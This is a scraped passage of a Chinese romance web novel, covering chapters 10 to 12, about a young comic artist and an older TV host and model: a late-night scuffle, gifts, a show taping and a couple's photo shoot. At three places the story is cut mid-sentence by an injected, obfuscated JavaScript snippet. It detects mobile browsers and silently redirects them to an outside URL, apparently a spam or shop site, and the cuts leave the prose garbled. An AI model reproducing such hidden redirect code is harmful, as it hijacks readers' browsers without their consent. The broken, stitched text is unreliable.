陈昊飞啧了声,懒得回他。 两人从后门出去,酒馆打烊后,整条街也安静下来,路灯透过树叶枝干,风一吹,路上的影子开始摇晃。 “这个点不好打车啊,等会吧。”陈昊飞看着打车软件,点了支烟,烟盒往祁放面前递了递,“抽吗?” “闻不来这个味。”祁放稍微站远了点,摇头问他,“怎么还学会抽烟了,搞数学搞得,压力太大?” 陈昊飞含含糊糊地说,“也有这个原因吧。” 祁放看他,“切,装什么忧郁。” “滚。” “滚开,放开我,滚……” 女生的声音,祁放跟陈昊飞对视了一眼,一起奔向声音的源头。 酒馆后门左拐七八米有条小巷子,巷口拐角处,彩色珠子散落了一地,断掉的手链,还有个摔碎的小镜子。 两人快速走到巷口,朝里瞄了眼。 祁放给了陈昊飞一个眼神,顺手接过他的手机。 陈昊飞转身往回跑,去叫人。祁放快速按下报警号码,朝小巷喊了嗓子,“放开我朋友!干什么呢!” 四五个男子转头看过来,人模狗样的,应该也喝了酒。有两个男子见情况不对,嘴里骂了两句,朝小巷另一边走。 剩下两男的,拉着女生不放手,有一个借着酒劲长脸,“哪来的小王八犊子,没你事,什么你朋友?这女的叫许莉莉,是老子女朋友,你从哪冒出来的?我说他这几天怎么抱着手机傻乐,是跟你这个小白脸勾搭上了。” 他说得有模有样,还作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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祁放说:“我着急看消息。” 陈昊飞叹息:“没出息的样儿。” 祁放当没听到。 屁股还没挨到车座上,祁放已将把话递到司机耳边了,“师傅,有没有充电宝啊,能借一下吗?” “还真有,手机号后四位先报一下。” 祁放接过充电宝,道了声谢,连忙给手机充电解锁,点开微信。 付轻屿:晚上回去。 祁放立即回过去:现在到家了吗? 祁放看手机上的时间,凌晨十二点半多,又紧接着回了句:现在是不是睡啦。 付轻屿:没有,刚收拾完。 祁放将刚才发生的事给付轻屿讲了遍,讲得绘声绘色。 陈昊飞觉得身边坐了只坠入爱河的麻雀,叽叽喳喳,烦人。 付轻屿:受伤了?没去医院? “小伤啦,没事……”祁放看着输入框的几个字,全部删掉,重新回她:没有,手机快没电了,家里应该有药,我回去找一下,先自己处理,应该没什么问题。 祁放紧盯聊天框,如临大敌。 付轻屿:家里没有的话,来找我拿。 “yes!”祁放这一声,给车上两人吓一激灵。 司机拍拍胸脯,通过后视镜瞄了眼,没多话。 陈昊飞看祁放,无奈摇头。这精神头,以前只在他投进三分球时见过,陷入爱河的男人,太吓人了。 祁放稍微矜持了两秒才回:好,我先回家找一下,实在没有再去麻烦你。 “师傅,开快点,我着急。” 付轻屿看着消息,回了个,“嗯。” 几个小时收拾下来,已经有个‘家’的样了,付轻屿环视一圈,缺几株绿植,小茶几下,还缺块地毯。 付轻屿欣赏过后,先找出药箱,又给自己做了份水果捞。 “叮铃——叮铃——” 付轻屿没来及看手机,听门外说了句,“轻屿,是我哎。” 祁放的声音。 付轻屿没看猫眼,直接打开门。 祁放稍微弯着腰,一路跑过来,气有些喘不匀,一手抱了盆绿植,肩上挎着一个大购物袋,袋子上有地毯标识。 绿植、土壤、混杂着祁放身上淡淡的芍药香,付轻屿第一次注意到他的味道。 祁放脸上带伤,抬头冲她笑了下,“我来啦。” 付轻屿一时愣住。 什么啊,许愿精灵吗? 10. 10 时间静止了几秒,祁放的喘气声逐渐平稳,胸腔内的跳动却越发强烈。 付轻屿的目光落在祁放脸上,心道伤得不算严重,没出去打得头破血流。她把目光移到两盆绿植上,“什么时候买的?” 说完,付轻屿靠边站,让出路,“先进来。” “你回老家的第二天。”祁放屁颠屁颠走进门,“需要换鞋吗?” 付轻屿摇头,示意他先放下绿植,又去给他拿了瓶水。祁放像是打了场胜仗,带着胜利品凯旋而归,脸上的那点伤,早就抛在脑后了。 “你先看看地毯,我选了好久。”祁放看她,“旧地毯不是没带过来吗?” 旧地毯是没带过来,但这不是关键点吧。 付轻屿有些不理解,“怎么突然想起来送地毯?还有两盆绿植?” “你不是没有用的了吗?”祁放把地毯推到付轻屿手边,怕她不收,又补了句,“你过生日时,请我吃饭,还帮忙介绍了模特的工作。你就当做谢礼吧。” “我就当谢礼?”付轻屿笑着接下,看祁放有些紧张,半开玩笑说,“那你当做什么?” 祁放跟着笑,“我也当做送礼物。” 付轻屿指了指他的额头,“去用清水冲一下,先上药。” 祁放听她说啥就是啥,也不催人拆地毯了,转身去卫生间洗脸。 卫生间只有洗衣液淡淡的香味,祁放把头发湿了点水,撩后面去,瞧了瞧额头上的伤,擦破皮渗了点血,没啥事。 要不是为了过来见付轻屿,他都没打算管这点小伤。 祁放出来时,茶几上多了两个小碗,装着满满的水果捞。 付轻屿回房间拿了个小镜子给他,抬手示意桌上的碘伏,“先涂点碘伏,我做了水果捞,你要想吃就吃点。” 祁放开心:“我涂完药就吃。” 付轻屿没管他,把地毯包装拆了。毋庸置疑,祁放的审美很好,这款地毯她之前就看到过,价格不算便宜。 付轻屿漫不经心的语气问他,“你找的那份兼职,赚到钱了吗?” “还行吧,刚开始干,挣了点。地毯不贵。”祁放说完,又怕她觉得不好,会嫌弃,紧接着补了句,“但质量还是很好的。” 不贵?当她不识货? “嗯,挺好的,谢啦。”付轻屿没打算戳穿他,礼物这种东西有来有回,以后找个机会,再送回去就好了。 祁放将药瓶棉签收好,自觉揽过一碗水果捞,问了这几天一直想问的话,“之前提起‘大绿豆’的时候,你怎么没说你就是本人啊?” 付轻屿转过身看他,笑容不浓不淡,“因为我不太会处理小迷弟。” 祁放不好意思地低下头,猛猛拔了两口。 付轻屿见他的反应有意思,笑着说:“逗你的。高中时误打误撞画的,没想到现在还有人知道,被你一提,我自己也吓了一跳。而且,我好像从没想过会跟别人说,‘我是大绿豆这件事’,没什么好说的。” 祁放被她几句话绕得迷迷瞪瞪,反过来想,如果是自己,应该也是同样的反应。 祁放犹豫半天,特别认真地看着付轻屿,“我能问你一个问题吗?” “问吧。” “你为什么放弃漫画了?” 付轻屿被他问住了,她从没想过这个问题,为什么放弃漫画了? 两人大眼瞪小眼,空气跟着沉默几秒。付轻屿笑了下,“你先吃,别看我。给我点思考时间,想想怎么跟你说。” 祁放应下,低头吃东西,余光还是忍不住偷看几眼。 “你为什么画漫画?” 祁放突然被问,下意识回她:“因为喜欢。” 付轻屿抿了下嘴,“我应该算不上喜欢。高三那两年,压力挺大的,对我来说画画是情绪的宣泄口。严格意义上,那三部‘作品’能算不上漫画吗?我也不知道。后来,那种情绪渐渐消失,就没再画过,谈不上放弃吧。” 祁放点点头,沉默了会。“现在的压力大吗?” 付轻屿看他,总有种孩子长大了的错觉。从祁放嘴里听到这么正儿八经的一句话,还挺新鲜的。她笑了下,老气横秋地说了句,“还行吧。” 祁放再次开口前,付轻屿换了个话题,“颜泠没在家?” 祁放摇头,“她这几天没准数,心情好了就不回来。” 付轻屿没对此发表任何看法,只是点了点头。祁放有种预感,她其实知道颜泠干什么去了。 碗里的水果捞见底,祁放瞅了眼时间,该回去了。临走前,他才想起正事,“模特那边的试片过了,要签合同,我看过一遍,好像没什么问题,直接签行吗?有没有什么要注意的?” 前几天在医院昏昏沉沉的,知道这事也给忘在脑后了。付轻屿起身送他,“先别签,发我看一下。” “好,我明天发你。”祁放一手撑住门框,不让她出来送。 付轻屿便停住脚步,反正离得近,走几步就到了,也没什么好送的。 祁放看着她,一时间忘了该说什么,半天才想起来,尴尬地摸了摸后脖颈,“晚安。” 付轻屿看他笑得像地主家的傻儿子,也回了个‘晚安’。祁放心满意足,又屁颠屁颠回去了。 酒馆兼职的事,已经把小狼尾巴暴露了,装乖。 付轻屿笑了下,打算明天逗逗他。 第二天,付轻屿过了遍合同,IKI是国内不错的服装品牌,合同拟定了四个季度,见没问题,就让祁放签了。 合同刚定下,拍摄工作立马接上。 付轻屿跟这个品牌还有两个季度的合作。摄影老莫知道祁放是她弟弟,姓氏不同,下意识认为两人是表姐弟,还贴心地给两人安排了同一天拍摄。 老莫发完工作安排,又跟付轻屿闲唠,“你有这弟,不早介绍过来,藏着掖着的。” 付轻屿这弟也就认识了几天,上哪给他早介绍去。 她没打算多说,表姐弟的关系,也方便工作,不用跟人多解释。 付轻屿:“他之前年纪小,不愿意上镜。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966541|193406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老莫发了两串语音:“我看业务挺娴熟的啊,不像是新人。还有,你休息的时候,真是半点都联系不到人啊。” “前几天,郭子他们整了个聚会,想叫你来玩。好家伙,五个人,愣是没一个能联系上你的。上哪发财去了?” 付轻屿上大学时就认识了老莫,一个模特,一个摄影师,工作上能资源能互通,关系一直还不错。 两人说话间也少了些拐弯抹角。 付轻屿听完语音,也笑着回了条,“有点事,回了趟老家。发财哪能不带你们啊。” “行了,明天下午,你忙完了就过来拍摄哈,我按你时间排开了,带着你弟。还有个品牌……算了,明天当面说,电话讲不清楚,我这忙里偷闲,该上工了。” 付轻屿听他那边乱糟糟的,还有人催促,也没多说,简单回了个,“行。” 颜泠昨天晚上玩得开心,打算回去跟付轻屿细细道来,没想到一大早接到个客串剧本。两个小时收拾行李,往南边飞,美妙的经历只能隔着手机说了。 付轻屿一边化妆,一边听颜泠不堪入耳的语音消息,去录制现场的路上抽空过了遍主持稿。 今明两天连着录制,有歌手急着赶其他活动,听节目组的意思,今晚会熬个大夜,搞不好要通宵。 付轻屿看到祁放约饭的消息,直接回绝。 祁放整个蔫下去。 陈昊飞仔细擦拭鼓面,跟祁放搭了几句话,都没回声。他转头一看,昨天春心荡漾的小伙,应该是荡太高,摔地上了,一脸衰相。 “怎么了?”陈昊飞看热闹不嫌事大,“昨天yes!yes!今天不yes了?” 祁放给他个无语的眼神,懒得说话。 陈昊飞拍他,“行了,别单相思了,看看等会唱啥。有点敬业精神行不行?” “行。” 祁放真拿出敬业精神来,唱了三个小时的苦情歌,不知道哪一桌的妹子失恋,让他唱得嚎啕大哭。 陈昊飞都让他唱伤感了,再也不说什么敬业精神,敲完鼓,自己跑到后门抽了根烟,只想静静。 祁放一身苦情味,等回去能连着画八小时不停笔。 他转头摸到手机,看付轻屿一个多小时前发了条消息:明天拍摄,我带你过去。拍完吃饭,今天太忙。 祁放嘴角扬上去,苦情味彻底消散,立即回了个,“好。辛苦啦,明天请你吃大餐,犒劳一下。明天见!” 祁放想去探班,但又不好意思问工作地址。万一录制现场忙得不可开交,他想了下,还是不去添乱了。 不过,以后有机会肯定是要去的。 祁放心情好,虽然已经下班了,也没挡住他拿起话筒,在三个小时苦情歌的最后,来了首小甜歌。 刚才失恋的妹子好不容易止住泪,一听小甜歌,彻底绷不住了,“谁点的歌啊,还是那王八蛋给我唱过的,哪个混蛋点的歌啊。” 陈昊飞抽完烟回来,看台上的傻缺唱着甜滋滋的歌,无语笑了。 是神经病啊。 11. 11 祁放早起收拾,对着镜子左照右照,臭屁地打了个响指,“完美,就这样。” 他翻了翻聊天记录,一共也没几条。 付轻屿原本是想等工作结束,再回来接他一起拍摄。祁放哪能错过这么好的机会,说是为了节省时间,直接去她工作的地方等,成功要到了地址。 祁放带好手机平板,按付轻屿给的地址打车过去,在附近找了个咖啡馆边画边等。 “祁放?” 声音不大,祁放画得太过投入,没听见,直到有人走到桌前停下,他才抬头,“许梦姐?” 许梦忙得工作牌都没摘,好不容易出来透口气,没想到遇到个对胃口的帅哥,更没想到是祁放。 祁放今天换了个风格,她一开始没认出来,想着搭讪,走到一半了才发现是熟人。不得不说,祁放确实长在她审美点上了。 “没想到还能在这碰到你,”她说完立即反应过来,“等付轻屿呢?” 祁放点头,“许梦姐,你们的工作,还有多久结束?” “顺利的话,两个小时。也有可能三个小时,四个小时。”许梦说,“喝点什么?请你。” 祁放指了下一旁的杯子,“不用了,谢谢。” 许梦问他,“想不想上去看看?” 祁放怕影响付轻屿工作,想好了在咖啡厅等。听许梦一说,心里又按耐不住,“能去吗?” 许梦点头,“当然了,工作人员家属嘛,稍微可以通融一点点的,不过需要上交手机和平板。其实,拉你做观众也不是不行。” 祁放问:“不会影响你们工作吧?” 许梦说:“不会,我手里没啥事了,可以带你转两圈。你要是不想在后台看,就找个时机去观众区,我刚才看了眼,最边上还有两个空位。” “谢谢许梦姐。”祁放内心挣扎了一下,最终没能抵住诱惑,“笔和纸能带吗?” 许梦点头,“可以。” 祁放客气道:“许梦姐,我请你,想喝什么?” “我已经点好了,不过……”许梦看他,笑着顿了下,“帮我点杯奶咖吧。” 祁放点了两份,一份给付轻屿带的。 祁放第一次见节目录制的后台,只感觉很混乱,他跟在许梦身后,没敢到处乱跑,怕给付轻屿添麻烦。 其中不少人跟许梦打招呼,祁放从她们的话语中听出来——许梦是化妆组的老大,管的事挺多的。 许梦跟别人介绍时祁放时,除去夸赞的话,只说了他是付轻屿的弟弟,没过多透露信息。 祁放也跟着回应两句,没反驳,没多说。 公共休息厅和演播厅之间被布景隔开,空间上算是半通。许梦将祁放带到公共休息厅,通过一些角落,也能看到拍摄现状。 许梦虽然没什么要紧事,也不能一直带着祁放玩,领人转了两圈,叮嘱完注意事项,转头去做事了。 祁放怀里抱着个小本子,守在小角落看了半天,实在受不住音响的摧残,揉着耳朵换了个地。 公共休息厅的角落,祁放坐在凳子上画画,尽力降低存在感。 没有手机平板,不知道时间,祁放隔段时间就抬头瞧一眼,通过布景和墙面间极窄的缝隙,舞台区域上人影变化,幸运的话能看到付轻屿。 不知道过了多久,音响里的声音停下,稀稀拉拉的几个人走向公共休息厅。 祁放专注于线稿,并没注意到周遭的变化。 “吆,搞创作的啊。” 耳边传来沉沉的一声,祁放笔尖顿下,周遭的声音缓缓传进耳朵。 祁放抬头看过去,说话的男人已经在他面前坐下,年纪不算太大,估摸着三十出头,中短发有点微胖。 男人坐下后,走过一个女生,给他调整发型补妆。 祁放反应过来他是拍摄嘉宾,便应了声。 “你不是这的工作人员?” 祁放点头:“不是,等人。” 男人没问等谁,喝了口水,“学画画的?” 祁放点头,没应声,不是很想跟他搭话。 “我有一个朋友也是画家,画的叫什么……”男人想了下,“国画,他是搞国画的,也是个书法家,人家那才叫艺术啊。我知道你画的这个,叫动漫,小孩子们喜欢的玩意。” 人家的艺术,关你屁事!还有,这也不叫动漫。祁放手里的笔没停,回了个礼貌的笑容。 男人似乎并没意识到他没兴趣闲聊,自顾自地说:“你应该也就二十左右吧,业余爱好?” 祁放抽空敷衍,“不是。” “上大学了吗?” “青影,漫画专业。” 男人沉默了一会,祁放心想,青影还是有些名声的。 “你学的这个,前景可观吗?” 祁放:“饿不死。” 男人笑了下,“要我说,还是国画好,你看我那个朋友,没事开开画展,一副画吃好几年。主要是人家那个有格调,有层次,人家那是艺术,你们小孩子喜欢的这玩意啊,要我说,也就是闹着玩还行,真要……” “老师,您头别动,”化妆的小姐姐打断他,“没层次了。” 要你说?谁要你说了?算了,不能怼,不能给付轻屿惹麻烦。祁放心里叹气,付轻屿跟他共事,真是不容易。 男人放下费力翘起的二郎腿,又开始说:“这个啊,讲究天赋。不管是国画还是你弄的这个,青影每年招这么多学生,真出头,还不就那几个。不光讲究天赋,你还得有人,有关系……” 祁放正心烦他,耳边的声音突然消失了,随即而来的是一阵清香,葡萄夹杂着茉莉的味道。 “砰砰砰——” 祁放听到了心跳声,不知道是自己的,还是从捂着耳朵的手心里传来的。 他抬头看,耳朵和手心间生出缝隙,付轻屿的声音溜了进来,“……多宝贵的人生经验,张老师不给我讲,反倒跟个小孩说这么多,是不是拿我当外人了?张老师你跟我说啊,等会录制节目的时候,我也能给你多润色几句。” 男人尬笑两声,“什么经验不经验的,都是说着玩的。这是你?” 付轻屿将手松开,自然搭到祁放肩上,“这是我弟。”她拍了拍祁放,“我坐这跟张老师聊几句,你去那边画,一点都不看事。” 祁放站起身,转到旁边坐下。付轻屿一来,他心思就不在画上了,支起耳朵听两人对话。 付轻屿说话,让人听着舒服,半开玩笑下,把人压了过去。 没说几分钟,张老师就急着要去厕所,跑了。 付轻屿转过头,脸上还带着笑,“没见你发消息,怎么上来的?” 这个笑,祁放分不清真假,如实交代,“咖啡厅遇见许梦姐了,跟着她上来的。给你添麻烦了吗?” “没有。”付轻屿摇头,笑容减了几分,表情却更自然了,“以后到了,先给我发消息。” “好。”祁放点头,把奶咖递给她,“给你的。” 付轻屿摇头,“我不喝奶咖,你留着喝吧。” 祁放情绪都写在脸上,付轻屿不要,立刻蔫了。 付轻屿看他,实话实说:“我真不喝奶咖。以后要想请我的话,西瓜汁可以作为首选,果茶也行。” “好。”祁放记下,“还要录几个小时?” “大概还得一个多小时。”付轻屿看他,“刚才那人……不知道他跟你说了什么,应该没什么讨喜的话。不喜欢听就当个声响,别往心里去。按你喜欢的画,保护好自己的心气。” 祁放转着笔,往付轻屿面前凑了下,小声说:“我刚才嘴上没说,心里已经怼过他了。放心吧,更过分的话我都看过,就他这点功力,完全伤不到我,就是挺烦人的。” 他说着,给付轻屿比了个大拇指,“你跟他一起录节目,太不容易了。” 付轻屿非常认同最后这句话,“确实太不容易。” 祁放看着付轻屿,越想越解气,眼里的崇拜都快溢出来了。 付轻屿被他看得不自在,“想说什么?” 祁放说:“你刚才三两句话就给他说的不吭声了,解气。” 付轻屿笑了下,“手机是不是被收了?” 祁放点头。 “行了,别到处乱跑,乖乖在这画吧,等节目录制完就能拿回来了。”付轻屿说,“我回去录制了。” “好。”祁放目送她离开。 昨晚录制到两点多,今天早上不到八点开工,付轻屿睡了三四个小时,有些工作人员直接在休息室凑活了一晚。 眼看又到了中午,最后这一个多小时的录制,实在有些难捱。 主持人又得积极调动气氛,直到最后一声‘卡’,付轻屿才松了口气,困意瞬间涌上头。 人员纷纷散场,有些艺人不着急赶下一份通告,会留下跟观众留影签名。 “雯瑞,我可以跟你合张影吗?我特别喜欢演的又夏,你新出的专辑我也买了。” 现场没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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付轻屿没敷衍她,认真想了想,“不全是吧。我们本身也存在问题。” 冯适是个直男,也努力配合过她,还是没办法接受。四年恋爱,三年多都是地下恋,到最后,两人甚至很少牵手,更像两个惺惺相惜的朋友。 分开只是时间问题,至少付轻屿是这样想的。 雯瑞只是看着她,神情复杂,半晌轻轻嗯了声。 付轻屿笑着问:“冯适最近还挺好的吧?” 雯瑞:“还不错吧。” 付轻屿笑了笑:“我先走了,有人在等。” 祁放快速溜到凳子上坐好,装作什么都没听到。见付轻屿出来,起身迎了上去,“饿不饿,先去吃点东西吗?” 付轻屿点头:“随便吃点吧,晚上再带你吃大餐。” 祁放见她没精神,“你去车上睡会吧,我去买吃的。” 付轻屿又饿又困,实在什么力气,情绪也有些烦躁。祁放这个提议很好,她尽量让语气显得平静,“行,你慢点,不着急。我先去车上睡会,实在太困了。” 祁放一脸开心地接下重任。 付轻屿真想问问祁放,他每天保持开心的秘籍是什么。 经过一上午的暴晒,车内简直就是蒸笼,付轻屿将车子开到树荫下,打开四个车门透气,又给祁放发了个位置。 付轻屿坐在树荫下的石阶上,终于能喘口气时,不知道是哪只鸟捉弄人。她转头看向肩膀上的鸟屎,麻木地起身,从车内拿出纸巾擦拭。 她只是想坐下喘口气。 偏偏没有一件事能顺心,都要故意跟她作对。 “怎么擦不掉。”付轻屿手上的动作越来越急躁,心里压抑的情绪全都涌上来,没忍住骂了声脏话。 手里的纸巾丢在一旁,付轻屿撩了把头发,眼泪没忍住滴落下来。从刘导的事情开始,积压的情绪太多了,好像从没消停过,连一个好觉都没睡过。 付轻屿使劲撩了两把头发,想要冷静下来,心里却在不停质问‘到底是为什么’。不是刘导的错吗,为什么停工的是她?为什么要叫她回家?为什么就连长相,好像都成了她的错? 祁放手里拎着吃的,远远停下,没上前,心也跟着揪起来。 付轻屿两手撑着头,眼周的肌肉都在用力,不停做着深呼吸——她在用力让自己不要哭。 祁放不知道她为什连哭都要控制,或许是不想让自己看见?不过,她看起来很有经验的样子,因为没一会,眼泪就止住了。 那张精致的脸庞变成一潭死水,或许心里还在狂风暴雨,但面上已经平静了。 12. 12 “我回来了。”祁放远远唤了声。 付轻屿已经整理好表情,脸上挂着淡淡的笑。 祁放问:“没在车里休息会?” “车里和蒸笼一样,开窗透了透气。”付轻屿顺势接过他手里的东西,“就在这吃吧。” 祁放点头,将西瓜汁递给她,“这次可是你的首选,加冰还是常温?” “常温的。”付轻屿双手接过,祁放买的超大杯,捧在手里沉甸甸的。 清甜的味道在嘴里散开,心情也好了许多。祁放拆着打包盒,付轻屿抬头看去,树上那只讨厌的鸟也不见了。 付轻屿说:“你先吃,我去车上换件短袖。” 祁放手里动作没停,点头应了声“好”。 付轻屿换好衣服,将车载空调打开,顺便照了下镜子,没哭的跟个鬼一样,妆也有点花。她抽出两张卸妆巾,干脆全都卸了。 祁放没动筷,喝着西瓜汁,不知道在想什么。 付轻屿重新坐在石阶上,“吃饭吧。” “好。”祁放转头看她,付轻屿素颜唇色有点发白,眼眶还是红的,透露出一丝脆弱。 两人沉默了会,各自吃着东西。 付轻屿开口:“以前做外景主持,经常随便找个地方坐下吃饭,就像这样。想想还挺有意思的,比闷在办公室舒服。” 耳边的树叶莎莎作响,祁放看她:“我们打球的时候,也经常这样干。” 付轻屿轻声说:“还以为你没体验过呢。” 祁放:“好些了吗?” 付轻屿看他,没说话,表情带着疑惑。 祁放指了指自己的眼眶,“都红了。” 付轻屿尴尬摇头,“没事。”她想说眼里进沙子了,进虫子了,又觉得太像掩饰,半天没张开口。 祁放将手里的饭盒放下,“我给你变个魔术,等变完,眼眶就不红了。” 付轻屿不知道他想干什么,有点吃惊,“你还会变魔术?” “当然了,你别小看我。” 祁放两手在口袋里摸索了下,又举到付轻屿面前,“什么都没有吧。” 付轻屿停下筷子看他,点了点头。 祁放两手在她面前胡乱抓着,右手突然伸到她脑后,付轻屿还没反应过来,脑袋突然被砸了下。 一颗棒棒糖掉到了付轻屿怀里。 付轻屿懵了,纯属是被砸的,缓缓开口:“这是你的魔术?” 祁放也懵了,没想到糖会脱手而出,“很明显,搞砸了。” 付轻屿笑了下,“那没办法,糖没收了。” “不行不行,”祁放誓死要挽回形象,“我再给你变一个。” 付轻屿摇头拒绝,“不要,我害怕脑袋被砸。” “我敢发誓,绝对不会,”祁放说,“大变活物,我保证,你看了绝对会笑,这可是颜泠教我的。” “颜泠教你的?那你变吧。”付轻屿倒想看看,颜泠能教出什么好把戏。 祁放将双手举到付轻屿面前,手心手背都没藏东西。见付轻屿点头,祁放将两手攥成拳头,“你吹一下?” 付轻屿指着两个拳头,“吹那个?” “都吹,最后吹下中间。” 付轻屿按他说的做,最后一口气还没吹完,祁放将拳头收回嘴边,学了声猫叫,“喵~” 祁放做完一套动作,都没敢看她,端起饭来埋头苦吃。 付轻屿愣了下,努力抿着嘴,还是没压住笑,“颜泠教你的?” 祁放被问的心虚,偏头不看她,“嗯,你想笑就笑嘛。” 付轻屿笑着给他夹菜,“大猫多吃点。” “轻屿。” 两人抬头,笑容一齐消失了。 祁放看着冯适,眼里的敌意丝毫没有遮掩。 付轻屿反应挺平淡的,点头示意,“怎么来这边了?” 话音未落,看到他旁边走来雯瑞,也就都明白了。 冯适看了眼祁放,目光中带着打量,又对付轻屿说:“怎么在这吃东西?” “这里怎么了?”付轻屿环视一圈,“环境挺好的啊。” 祁放没搭腔,不再看冯适,转手给付轻屿夹了些菜。 冯适脸色有点难看,没说话。雯瑞先开口说:“好不容易碰见了,和我们一起吃点?” 付轻屿说:“我们快吃完了,下午还有事,就不和你们一起了,下次吧。” “嗯。”雯瑞没再客气,转身看向冯适,“走吧。” 付轻屿没再看两人,自顾自地吃着饭。 祁放装模做样地问了句,“朋友啊?” 付轻屿说:“算不上。” 祁放:“不熟?” 付轻屿还没开口,手机先响了下。 冯适:他是谁? 两人手机都放在中间,祁放瞄到了。付轻屿看了眼,没回。 祁放看她,“不回啊?” 付轻屿看他一眼,“要不然你回,反正是问你呢?” 祁放说:“我回你前男友的消息,不太好吧。” 付轻屿笑他,“猜得挺准,想吃瓜啊?” 祁放问:“能吃吗?” 付轻屿笑了下,没回答。 祁放笑着说:“不给吃就算了。” 付轻屿扯开话题,“我有点好奇哎?” 祁放被冯适搞得心烦,随口接上话,“好奇什么?” 付轻屿问:“你每天都这么开心的秘诀是什么?” 祁放臭屁地说,“想知道啊?说了怕你不信。” 付轻屿笑着示意他说。 祁放轻咳一声,拿出传授经验的架势,“少想不喜欢的人,多跟喜欢的人在一起。我可不是和谁在一起都开心的。” 付轻屿笑了下,“我以前怎么没发现,你还会油嘴滑舌呢,没少逗小姑娘吧。” 祁放连连喊冤,“我可没有,我其实挺高冷的好吧。” 付轻屿抿着嘴笑,“好好好,不闹了,快吃吧,别逗我了。下午还有拍摄,吃完快休息会。” 祁放嘟囔:“我没跟你开玩笑。” 付轻屿换了个话题,“你之前找的另一个兼职,请假了?” 祁放嗯了声。 付轻屿继续逗他,“什么工作?” 祁放脑筋一转,“服务行业。” 付轻屿笑笑,没戳穿他,心想给小孩留点面子。 两人想到啥说啥,东扯西扯,吃完饭在车上休息了一会。 付轻屿实在太困,直接躺后排睡了。 祁放坐在副驾驶,将靠背放倒些,手里摩挲着车钥匙。付轻屿怕他待得无聊,把车钥匙交给他,叮嘱他走远时要锁车。 祁放哪也没去,跟着睡着了。 “叮铃叮铃——” 付轻屿抬手关上闹钟,睡了一个多小时,体力恢复得差不多。她抬头,祁放正揉着眼睛转过身来,动作懒散,真跟个猫似得。 祁放声音慵懒,带着刚睡醒的沙哑,“醒了。” “再不醒就要晚了,你困就接着睡。”付轻屿利落起身,简单收拾了下,换到主驾驶坐下。 祁放刚睡醒,脑子也迷迷糊糊的,没动座椅,半躺着看她。 旁边没动静,付轻屿以为祁放接着睡了,一转头正跟他对上眼。 慵懒的、不太安全的视线。 付轻屿轻咳一声,“安全带。” “好,安全带。” 祁放问:“平常的工作安排都这么紧吗?” “平常还好,这几天事情赶到一起了,没办法。”付轻屿开着车,拿了两个口气清新糖,给祁放递过一个,“连轴转的次数不算多。大人的世界,害怕了吗?” 祁放说:“我二十了,不是小孩。” 付轻屿点点头,显然没往心里去。 到了拍摄地,付轻屿先去摄影棚打了圈招呼,前两天消失得没影,见面先得跟同事寒暄几句,不然显得太没人情味。 她说话的功夫,祁放已将画完妆,换好拍摄衣服。 付轻屿转身看他,脸上没几乎什么变动,造型师给抓了抓头发,半卷不卷的感觉,慵懒感拿捏得很到位。 拍摄服装是一件花哨的外套,配色跟孔雀似的。衣服门襟做了短流苏设计,完全敞着,关键是里面真空。 祁放被她看得不自在,“怎么了?不好看?” 付轻屿还没开口,她身旁的化妆师一拍手,略带夸张地说,“好看!怪不得这套衣服留给你拍呢,真是挑对人了。” “挺好的。”付轻屿转头看向化妆师,“不给加件内衬?” “哎吆,说什么呢?”化妆师嫌弃付轻屿不懂欣赏,“这件衣服,就得真空穿才能展示出野性美。再说,腹肌练得蛮不错,正好物尽其用嘛。” 付轻屿听完,不自觉看了眼,确实练得还行。 祁放感觉她看过来,暗自用力绷着。 摄影助理叫祁放去拍摄,付轻屿跟化妆师去换衣服。 Mina先给她简单做了个清洁,“看看你这小脸,这几天没少熬夜吧。” 付轻屿闭着眼,争分夺秒地休息,“昨天晚上差点熬穿。” Mina透过镜子瞧她一眼,识趣地噤了声,手里不停忙活着。 付轻屿再睁眼时,镜子里人已经变了个样,Mina正在给她的眼妆收尾,“老实说,是不是偷偷出去进修了?我怎么感觉自己跟换了个头一样。” Mina笑着说:“说换头就有点吹过了。不过,你这话,我爱听。” 付轻屿身上这件是个一字肩白衬衫,卷发搭配上妆容,又甜又酷。 付轻屿平常都是淡妆,这次一出去,祁放是真看傻眼了。 老莫调侃道:“怎么?不认识你姐了?” 付轻屿看向祁放,他那件真空的孔雀外套已经换了,身上是件很常规的灰色连帽衫。 祁放揉了下鼻子,声音不大不小,“太好看了。” 老莫哈哈笑了两声,“你小子行啊,太给你姐面子了。” 付轻屿拍摄,祁放坐旁边休息,暗自观察。付轻屿和老莫的关系最好,其次是Mina,再是其他人,总体氛围很愉悦。 付轻屿连着拍了几套衣服,换祁放继续拍。 单人款式全部拍完,老莫说:“休息一下,一会拍情侣款。对了轻屿,你得顶Laura的拍摄,她拍摄的时候样衣出了点问题,就把你原定的那几套拍了,差不多的风格。你和祁放搭一下吧。” 突发状况也不是第一次遇到,付轻屿没什么问题,点头应下。 祁放一脸状况之外,“我们拍情侣款吗?” 老莫笑着说:“啊,你们将就一下吧,安排到最后,就剩你两了。” “挺好的,挺好的。”祁放点头,想着等会要几张照片。 老莫放下相机,将付轻屿叫到一旁,“奇亚在选模特,都给你抛橄榄枝了,去不去试试?” 付轻屿没立即回答。 老莫拿了根烟递给她,“奇亚名声大,你要是跳到那边,真能起来。” 付轻屿伸手推了回去,“你这烟劲太大,真抽不惯。” 